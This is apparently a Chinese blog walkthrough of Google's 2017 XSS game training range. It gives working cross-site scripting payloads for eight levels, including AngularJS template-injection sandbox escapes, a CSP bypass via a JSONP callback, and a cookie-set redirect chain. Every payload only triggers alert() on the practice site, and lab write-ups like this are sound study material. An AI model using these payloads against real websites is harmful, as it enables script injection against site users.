Google XSS game(2017)
这是新版的谷歌XSS靶场,每一关的过关条件是能够弹出alert()即可。
地址:http://www.xssgame.com/
Level 1
基础题,直接输入基本的反射型XSS语句:
<script>alert(//)</script>
Level 2
和旧版的level 4一样,我们查看页面元素
发现我么在输入框输入的值被传递到了startTimer()
函数中,于是我们可以直接闭合掉前一个函数,另外加上alert(),并且把后面的内容注释掉即可:
');alert();//
这里网上还有另一种解法是,先查看源码:
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.loading.style.display = 'none';
window.message.innerHTML = '<a href="?">Go back</a> to the timer setup page';
}, seconds * 1000);
}
这里把我们输入的second做了一个parseInt(seconds)处理,当我们输入seconds=’-alert(1)-‘,浏览器先解释运行alert(1),然后再做了两个减法。
'-alert(1)-'
Level 3
这里和旧版的 level 5 一样,没有我们输入参数的点
- 查看源码
function chooseTab(name) {
var html = "Cat " + parseInt(name) + "<br>";
html += "<img src='/static/img/cat" + name + ".jpg' />";
document.getElementById('tabContent').innerHTML = html;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(name)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
function hashchange() {
if (self.location.hash) {
chooseTab(decodeURIComponent(self.location.hash.substr(1)));
validate();
} else {
chooseTab(1);
}
}
window.onload = hashchange;
window.onhashchange = hashchange;
当我们刷新页面或者改变了#
后面的内容时就会使用location.hash把URL中#
和它后面的内容作为name
,然后调用chooseTab函数,把name
作为 img 标签中 src 的一部分进行构造,最后把 img 插入到当前页面中。
这里我们可以把 src 截断,这样他的图片肯定会报错,然后添加一个 onerror 事件执行alert(),最后还要把 img 标签后面的 >
补齐
' onerror=alert()>
Level4
这一关和旧版的level 5 基本一样,有3个页面,分别是welcome,注册和确定
查看源码
- welcome.html
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
Welcome! Today we are announcing the much anticipated<br>
<img src="/static/img/googlereader.png" /><br>
<a href="signup?next=confirm">Sign up</a> for an exclusive Beta.
</center>
</body>
</html>
这里可以看到,下面的a标签的链接带了一个next
参数到signup页面
- signup.html
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="/static/css/level_style.css" />
<script src="/static/js/js_frame.js"></script>
</head>
<body>
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="confirm?next=welcome">Next >></a>
</center>
</body>
</html>
signup.html 页面下面的 a 标签的链接带了一个next
参数到confirm页面
- confirm.html
<!DOCTYPE html>
<html>
<head>
<script src="/static/js/js_frame.js"></script>
</head>
<body style="background-color: white;">
<center>
<img src="/static/img/googlereader-logo.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = 'welcome'; }, 1000);
</script>
</center>
</body>
</html>
这个页面把我们在URL中next
参数的值作为下一个跳转的地址解析出来,于是我们可以利用这个地方。实际上我们直接访问这个地址即可:
http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=javascript:alert()
Level 5
- 查看源码
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.5.8/angular.min.js"></script>
<script>
angular.module('myApp', [])
.controller('myController', ['$scope', function ($scope) {
$scope.query = "";
$scope.alert = window.alert;
}]);
var UTM_PARAMS = ["utm_content", "utm_medium", "utm_source",
"utm_campaign", "utm_term"]
if (location.search) //location.search等于 '?utm_term={{alert()}}'
{
var params = location.search.substring(1).split('&');
//去掉?,拆分&
for (var p in params) {
var r = params[p].split('=');
//拆分=,r等于utm_term,{{alert()}}
if (r.length == 2 && UTM_PARAMS.indexOf(r[0]) != -1) {
var el = document.getElementsByName(r[0]);
//赋值utm_term的value为{{alert()}}
if (el.length) el[0].value = decodeURIComponent(r[1]);
}
}
}
</script>
这一关终于不是旧版的题目了,angular JS 是一个前端框架,爆过模板注入漏洞。这里框架版本是1.5.8版本,这里可以找到这个框架的POC:https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
location.search 是一个可读可写的字符串,可设置或返回当前 URL 的查询部分(问号 ? 之后的部分)
?utm_term={{alert()}}
这里明明是1.5.8的版本为什么能直接使用{{alert()}}就可以了呢,还没学模板注入搞不懂。
Level 6
输入123查看输出点
<p ng-non-bindable>Sorry, no results were found for <b>123</b>.</p>
ng-non-bindable 指令用于告诉 AngularJS 当前的 HTML 元素或其子元素不需要编译。因此这里无法被利用。
另外一个输出点是在form表单的action,我们在URL中输入参数?query=1
会在action中显示出来。同时注意到这里使用的是1.2.0的angular框架。
angular 1.2.0 的payload是
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
发现左边的大括号{
被过滤了,这里使用到了 HTML实体编码(HTML Entity)
一个HTML Entity都含有2种转义格式:Entity Name 和 Entity Number
比如{
的Entity Name是 {
Entity Number是{
把{ 替换为 {
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
Level 7
CSP 的实质就是白名单制度,它明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
这里设置了,只能访问两个网址:
再看网络请求有一个jsonp?menu=about请求,返回的是callback
JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。他实现的基本原理是利用了 HTML 里
<script>
元素标签,远程调用 JSON 文件来实现数据传递。
源码结尾引入了/static/js/level7.js,我们来看看js代码
/**
* Ask server side what to display.
*/
//找到 URL 中 “menu=?” 的参数,并把?参数动态拼接成一个 <script> 标签,来访问资源。
//atob 对应的是 Base64 编码方式的解码操作,对应的,btoa就是编码
function main() {
var m = location.search.match('menu=(.*)');
var menu = m ? atob(m[1]) : 'about';
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
}
/**
* Display stuff returned from server side.
* @param {string} data - JSON data from server side
*/
// 通过代码判断,data 应该是 json 格式。
// 取出其中的 title 和 pictures 对应的 value,拼接成 HTML 代码,插入到页面中,来访问资源
function callback(data) {
if (data.title) document.write('<h1>' + data.title + '</h1>');
if (data.pictures) data.pictures.forEach(function(url) {
document.write('<img src="/static/img/' + url + '"><br><br>');
});
}
main();
我们关注一下下面这行代码
document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
因为 encodeURIComponent 的存在,我们截断 script 标签并加入 img 用 onerror 执行 alert 的方式行不通,写入的内容在转义后会被浏览器解析为一个不会被解析成 html 标签的字符串。
在早期 JSON 出现时候,大家都没有合格的编码习惯。再输出 JSON 时,没有严格定义好 Content-Type( Content-Type: application/json )然后加上 callback 这个输出点没有进行过滤直接导致了一个典型的 XSS 漏洞:
http://127.0.0.1/getUsers.php?callback=<script>alert(/xss/)</script>
我们来试着请求一下,发现123回显到了最前面
所以我们可以构造
http://www.xssgame.com/f/wmOM2q5NJnZS/jsonp?callback=alert(1)%3B%2F%2F
//
- 过程
给 menu 传入经过 base64 编码后的:
<script src='jsonp?callback=alert();//'></script>
再前端会执行
document.write('<script src="jsonp?menu=' + <script src='jsonp?callback=alert();//'></script> + '"></script>')
把这个<script>
标签显示在前端,然后前端访问这个标签里面的src,返回
callback({"title":"Error, no such menu: <script src='jsonp?callback=alert();//'></script>"})
返回的内容会执行
if (data.title) document.write('<h1>' + data.title + '</h1>');
将返回的内容中的title部分显示出来,里面的 <script>
标签触发一个请求,script 而请求的返回内容为:
alert();//'></script>({"title":"Welcome to my Website!","pictures":["const.png"]})
alert(); 后面被注释掉,执行 alert();
payload:
http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9J2pzb25wP2NhbGxiYWNrPWFsZXJ0KCk7Ly8nPjwvc2NyaXB0Pg==
Level 8
- 查看代码
/**
* Read cookie.
* @param {string} name - Name of the cookie
* @returns {string} Cookie value
*/
function readCookie(name) {
var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
return match && match[1];
}
var username = readCookie('name');
if (username) {
document.write('<h1>Welcome ' + username + '!</h1>');
}
document.addEventListener("DOMContentLoaded", function(event) {
csrf_token.value = readCookie('csrf_token');
});
HTML页面的生命周期有以下三个重要事件:
DOMContentLoaded
—— 浏览器已经完全加载了 HTML,DOM 树已经构建完毕,但是像是<img>
和样式表等外部资源可能并没有下载完毕。load
—— 浏览器已经加载了所有的资源(图像,样式表等)。beforeunload/unload
—— 当用户离开页面的时候触发。
每个事件都有特定的用途
DOMContentLoaded
—— DOM 加载完毕,所以 JS 可以访问所有 DOM 节点,初始化界面。load
—— 附加资源已经加载完毕,可以在此事件触发时获得图像的大小(如果没有被在 HTML/CSS 中指定)beforeunload/unload
—— 用户正在离开页面:可以询问用户是否保存了更改以及是否确定要离开页面。
尝试设置名字为123,点击Set ,有三个参数,name,value,和 redirect(跳转页面)
http://www.xssgame.com/f/d9u16LTxchEi/set?name=name&value=123&redirect=index
然后,查看cookie,显示 name=123,看来这是设置cookie的值,同时我们发现cookie有个csrf_token,同理我们应该可以这样设置csrf_token的内容
set?name=csrf_token&value=token&redirect=index
Wire transfer:
正常情况下:
http://www.xssgame.com/f/d9u16LTxchEi/transfer?name=13&amount=123&csrf_token=token
当我们输入amount
不是数字,会显示出amount的内容,我们的输出点就在amount了
如果amount的值是payload,会成功弹窗,但是他会提示其他用户打开时候的token和我们的并不一样,因此需要更进一步。
这时候我们回头整理一下,set 可以设置csrf_token,并且有个跳转参数,Wire transfer 可以执行xss攻击;那么我们就可以先在set 设置csrf_token,然后跳转到transfer执行xss攻击,这样不管是谁访问都会受到攻击。
set?name=csrf_token&value=token&redirect=transfer?name=god&amount=<script>alert()</script>&csrf_token=token
但我们要注意&符号,如果直接访问,redirect的值只有一部分:transfer?name=god
因此我们要URL编码一下:
set?name=csrf_token&value=token&redirect=transfer%3Fname%3Dgod%26amount%3D%3Cscript%3Ealert()%3C%2Fscript%3E%26csrf_token%3Dtoken